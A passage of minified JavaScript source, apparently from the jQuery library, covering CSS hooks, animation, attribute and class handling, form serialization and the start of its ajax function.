r,i,o,a,s=e.style;return(n=n||Ie(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||ie(e)||(a=S.style(e,t)),!y.pixelBoxStyles()&&Me.test(a)&&Fe.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function $e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement("div"),l=E.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",y.clearCloneStyle="content-box"===l.style.backgroundClip,S.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement("table"),t=E.createElement("tr"),n=E.createElement("div"),e.style.cssText="position:absolute;left:-11111px",t.style.height="1px",n.style.height="9px",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=3<parseInt(r.height),re.removeChild(e)),a}}))}();var _e=["Webkit","Moz","ms"],ze=E.createElement("div").style,Ue={};function Xe(e){var t=S.cssProps[e]||Ue[e];return t||(e in ze?e:Ue[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=_e.length;while(n--)if((e=_e[n]+t)in ze)return e}(e)||e)}var Ve=/^(none|table(?!-c[ea]).+)/,Ge=/^--/,Ye={position:"absolute",visibility:"hidden",display:"block"},Qe={letterSpacing:"0",fontWeight:"400"};function Je(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ke(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=S.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=S.css(e,"border"+ne[a]+"Width",!0,i))):(u+=S.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=S.css(e,"border"+ne[a]+"Width",!0,i):s+=S.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Ze(e,t,n){var r=Ie(e),i=(!y.boxSizingReliable()||n)&&"border-box"===S.css(e,"boxSizing",!1,r),o=i,a=Be(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Me.test(a)){if(!n)return a;a="auto"}return(!y.boxSizingReliable()&&i||!y.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===S.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===S.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Ke(e,t,n||(i?"border":"content"),o,r,a)+"px"}function et(e,t,n,r,i){return new et.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Be(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Ge.test(t),l=e.style;if(u||(t=Xe(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?"":"px")),y.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Ge.test(t)||(t=Xe(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Be(e,t,r)),"normal"===i&&t in Qe&&(i=Qe[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each(["height","width"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ve.test(S.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Ze(e,u,n):We(e,Ye,function(){return Ze(e,u,n)})},set:function(e,t,n){var r,i=Ie(e),o=!y.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===S.css(e,"boxSizing",!1,i),s=n?Ke(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Ke(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=S.css(e,u)),Je(0,t,s)}}}),S.cssHooks.marginLeft=$e(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Be(e,"marginLeft"))||e.getBoundingClientRect().left-We(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),S.each({margin:"",padding:"",border:"Width"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(S.cssHooks[i+o].set=Je)}),S.fn.extend({css:function(e,t){return $(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Ie(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=et).prototype={constructor:et,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?"":"px")},cur:function(){var e=et.propHooks[this.prop];return e&&e.get?e.get(this):et.propHooks._default.get(this)},run:function(e){var t,n=et.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):et.propHooks._default.set(this),this}}).init.prototype=et.prototype,(et.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[Xe(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=et.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},S.fx=et.prototype.init,S.fx.step={};var tt,nt,rt,it,ot=/^(?:toggle|show|hide)$/,at=/queueHooks$/;function st(){nt&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(st):C.setTimeout(st,S.fx.interval),S.fx.tick())}function ut(){return C.setTimeout(function(){tt=void 0}),tt=Date.now()}function lt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ct(e,t,n){for(var r,i=(ft.tweeners[t]||[]).concat(ft.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ft(o,e,t){var n,a,r=0,i=ft.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=tt||ut(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:tt||ut(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=ft.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ct,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(ft,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],ft.tweeners[n]=ft.tweeners[n]||[],ft.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),v=Y.get(e,"fxshow");for(r in n.queue||(null==(a=S._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ot.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Y.get(e,"display")),"none"===(c=S.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===S.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=Y.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)S.style(e,r,d[r])})),u=ct(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?ft.prefilters.unshift(e):ft.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&"object"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=ft(this,S.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&at.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(lt(r,!0),e,t,n)}}),S.each({slideDown:lt("show"),slideUp:lt("hide"),slideToggle:lt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(tt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),tt=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){nt||(nt=!0,st())},S.fx.stop=function(){nt=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},rt=E.createElement("input"),it=E.createElement("select").appendChild(E.createElement("option")),rt.type="checkbox",y.checkOn=""!==rt.value,y.optSelected=it.selected,(rt=E.createElement("input")).value="t",rt.type="radio",y.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),pt={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\w+/g),function(e,t){var a=dt[t]||S.find.attr;dt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=dt[o],dt[o]=r,r=null!=a(e,t,n)?o:null,dt[o]=i),r}});var ht=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function vt(e){return(e.match(P)||[]).join(" ")}function yt(e){return e.getAttribute&&e.getAttribute("class")||""}function mt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return $(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,"tabindex");return t?parseInt(t,10):ht.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),y.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).addClass(t.call(this,e,yt(this)))});if((e=mt(t)).length)while(n=this[u++])if(i=yt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=e[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).removeClass(t.call(this,e,yt(this)))});if(!arguments.length)return this.attr("class","");if((e=mt(t)).length)while(n=this[u++])if(i=yt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o||Array.isArray(i);return"boolean"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){S(this).toggleClass(i.call(this,e,yt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=S(this),r=mt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&"boolean"!==o||((e=yt(this))&&Y.set(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===i?"":Y.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+vt(yt(n))+" ").indexOf(t))return!0;return!1}});var xt=/\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?"":e+""})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(xt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,"value");return null!=t?t:vt(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each(["radio","checkbox"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},y.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),y.focusin="onfocusin"in C;var bt=/^(?:focusinfocus|focusoutblur)$/,wt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,"type")?e.type:e,h=v.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!bt.test(d+S.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[S.expando]?e:new S.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,bt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,wt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,wt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),y.focusin||S.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var Tt=C.location,Ct={guid:Date.now()},Et=/\?/;S.parseXML=function(e){var t;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){t=void 0}return t&&!t.getElementsByTagName("parsererror").length||S.error("Invalid XML: "+e),t};var St=/\[\]$/,kt=/\r?\n/g,At=/^(?:submit|button|image|reset|file)$/i,Nt=/^(?:input|select|textarea|keygen)/i;function Dt(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||St.test(n)?i(n,t):Dt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)Dt(n+"["+t+"]",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)Dt(n,e[n],t,i);return r.join("&")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&Nt.test(this.nodeName)&&!At.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(kt,"\r\n")}}):{name:t.name,value:n.replace(kt,"\r\n")}}).get()}});var jt=/%20/g,qt=/#.*$/,Lt=/([?&])_=[^&]*/,Ht=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ot=/^(?:GET|HEAD)$/,Pt=/^\/\//,Rt={},Mt={},It="*/".concat("*"),Wt=E.createElement("a");function Ft(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Bt(t,i,o,a){var s={},u=t===Mt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function $t(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Wt.href=Tt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Tt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Tt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":It,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?$t($t(e,S.ajaxSettings),t):$t(S.ajaxSettings,e)},ajaxPrefilter:Ft(Rt),ajaxTransport:Ft(Mt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=S.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?S(y):S.event,x=S.Deferred(),b=S.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Ht.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Tt.href)+"").replace(Pt,Tt.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(P)||[""],null==v.crossDomain){r=E.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Wt.protocol+"//"+Wt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=S.param(v.data,v.traditional)),Bt(Rt,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Ot.test(v.type),f=v.url.replace(qt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(jt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(Et.test(f)?"&":"?")+v.data,delete 